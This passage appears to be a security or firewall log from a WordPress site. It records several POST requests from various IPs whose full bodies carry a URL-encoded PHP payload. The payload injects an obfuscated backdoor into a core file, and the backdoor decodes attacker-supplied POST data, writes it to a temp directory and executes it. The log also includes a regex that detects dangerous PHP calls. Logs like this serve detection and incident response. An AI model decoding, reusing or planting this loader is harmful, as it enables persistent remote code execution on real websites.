20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4786\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nIG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:58:25","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4786\n\nkS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:58:30","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Is:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4786\n\nIs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:58:32","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%25